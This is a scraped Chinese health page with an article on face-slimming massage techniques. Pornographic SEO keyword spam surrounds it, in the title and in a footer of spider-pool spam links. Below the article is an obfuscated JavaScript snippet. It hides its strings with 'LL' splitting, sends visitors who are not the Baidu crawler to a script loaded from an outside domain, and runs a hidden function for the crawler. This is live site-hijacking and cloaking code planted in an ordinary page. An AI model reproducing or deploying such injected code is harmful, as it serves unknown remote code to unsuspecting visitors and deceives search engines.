久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 中醫(yī)減肥 > 正文

可使“胖臉”變“瘦臉”的簡單按摩

2017-03-08 12:29:32  來源:360常識網(wǎng)   熱度:
導語:胖嘟嘟的圓臉,特令許多女士煩惱。臉上的骨胳架構(gòu)我們無法改變,但臉頰內(nèi)的皮下脂肪卻可以根據(jù)穴道的按摩,以搓揉方式消除。

現(xiàn)在小編先教你一招胖臉緊縮按摩法,讓你的胖臉不留遺憾!而且還能預防皺紋呢!

做法:最簡單的方法是使表情豐富來運動肌肉。

例如:張開大口、緊閉雙唇等反覆動作。25歲以后,皮質(zhì)便無法負擔下贅的肌肉,所以必須以輔助手法防止下贅的肌肉。同時這還可以預防皺紋呢。

1、抓出臉頰的贅肉

涂上按摩霜之后,在頰骨的部分縱拉贅肉,并向外拉開。然后位置慢慢向下移,到鼻翼為止。一次動作約5秒,持續(xù)進行1分鐘。

2、伸展鼻唇溝的皺紋,使臉部光滑

雙手貼在臉頰上,著重于撫平鼻唇溝的皺紋(鼻翼的細紋),皮膚以橫向拉開。手掌由內(nèi)向外推,至外圍輪廓為止約2~3秒。反復進行1分鐘。

3、托高臉頰的贅肉

涂上按摩霜后,輕輕的磨擦皮膚,其指腹須朝內(nèi)側(cè)。由頰骨部分往上推托,并進行磨擦式的按摩。一個個動作慢慢進行,持續(xù)1分鐘。

4、以指尖拍打頰骨

最后沿著眼眶,以指尖拍打頰骨。進行到太陽穴時會覺得精神舒暢。按摩后,以混合的化妝水乳液涂抹均勻,即可完成。

與單純按摩不同的是,瘦臉按摩前要先抹瘦臉霜,再按壓穴位并進行按摩。步驟如下:

1、涂上瘦臉霜,放松臉部肌肉。按摩從下顎開始,到耳邊,然后再以額頭為中心點向外側(cè)按摩。眼周的按摩方法是從鼻子到眼角兩側(cè)做旋轉(zhuǎn)式按摩。

2、用手掌或手指按壓鎖骨凹陷處,刺激淋巴。如果指甲太長,則用“手指肚”緊緊壓住鎖骨的凹陷處,3秒鐘后放開手指,連續(xù)做3次。

3、用大拇指頂起下顎兩側(cè)的凹陷處。將頭部的重量全部由大拇指來支撐,也就是用大拇指托起頭部,每次動作3秒鐘,同樣做3次。

4、將下顎的凹陷處往上壓。順著臉的線條向上壓,讓臉部線條逐漸清晰起來,動作要有力但避免戳傷下巴的凹陷處,同樣做3次,每次做3秒鐘。

5、從下顎到耳邊輕輕撫摸。從下顎到耳根背后,再從鼻翼兩側(cè)到顴骨下的凹陷處,最后回到耳邊,做來回的平滑按摩,做10個來回。

6、按摩額頭。用食指、中指、無名指三根手指,輕輕橫向按摩額頭,做10個來回,讓額頭舒展開來。

7、內(nèi)眼角用大拇指往下壓。用大拇指緊緊將內(nèi)眼角往下壓,讓眼皮的肌肉變得緊實,但注意眼睛要放松,做3次,每次3秒。

8、從內(nèi)眼角到外眼角輕輕按壓。緊實眼部肌膚,一定要沿著眼睛下方的骨線往下壓。從內(nèi)眼角到外眼角,由內(nèi)到外地按壓,做3次,每次3秒。

9、沿著眉骨按摩眼皮。兩眉用食指輕壓,要沿著眼睛的上方骨,按摩到眼尾處。同樣也是做3次,每次3秒鐘。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 看亚洲一级毛片 | 狠狠色狠狠色合久久伊人 | 久久另类ts人妖一区二区 | 日韩资源| 免费视频二区 | 欧美日韩一区二区三区免费视频 | 色婷婷激情 | 国产日本欧美视频 | 波多野结衣在线网址 | 欧美日韩成人激情 | 久久成人国产视频 | 精品国产欧美一区二区 | 国产色婷婷 | 亚洲成av人乱码色午夜 | 欧美性猛交久久久乱大交小说 | 国产成人精品午夜在线播放 | 日韩欧美一区二区视频 | 亚洲电影一区 | 欧美日韩久久 | 免费国产网站 | 日韩欧美网 | 日韩欧美在 | 国产精品免费看 | 亚洲福利电影网 | 一区二区三区高清 | 婷婷激情综合 | 亚洲一级簧片 | 91精品国产综合久久福利 | 欧美日韩中文字幕 | 久久久久国产一区二区三区四区 | 在线观看亚洲免费 | 中国女人黄色大片 | 国产成在线观看免费视频 | 在线观看日韩av | 亚洲青青 | 在线观看国产视频 | 一呦二呦三呦国产精品 | 夜夜视频 | 99精品一区 | 久久久精品一区二区三区 | 国产成人免费在线观看 |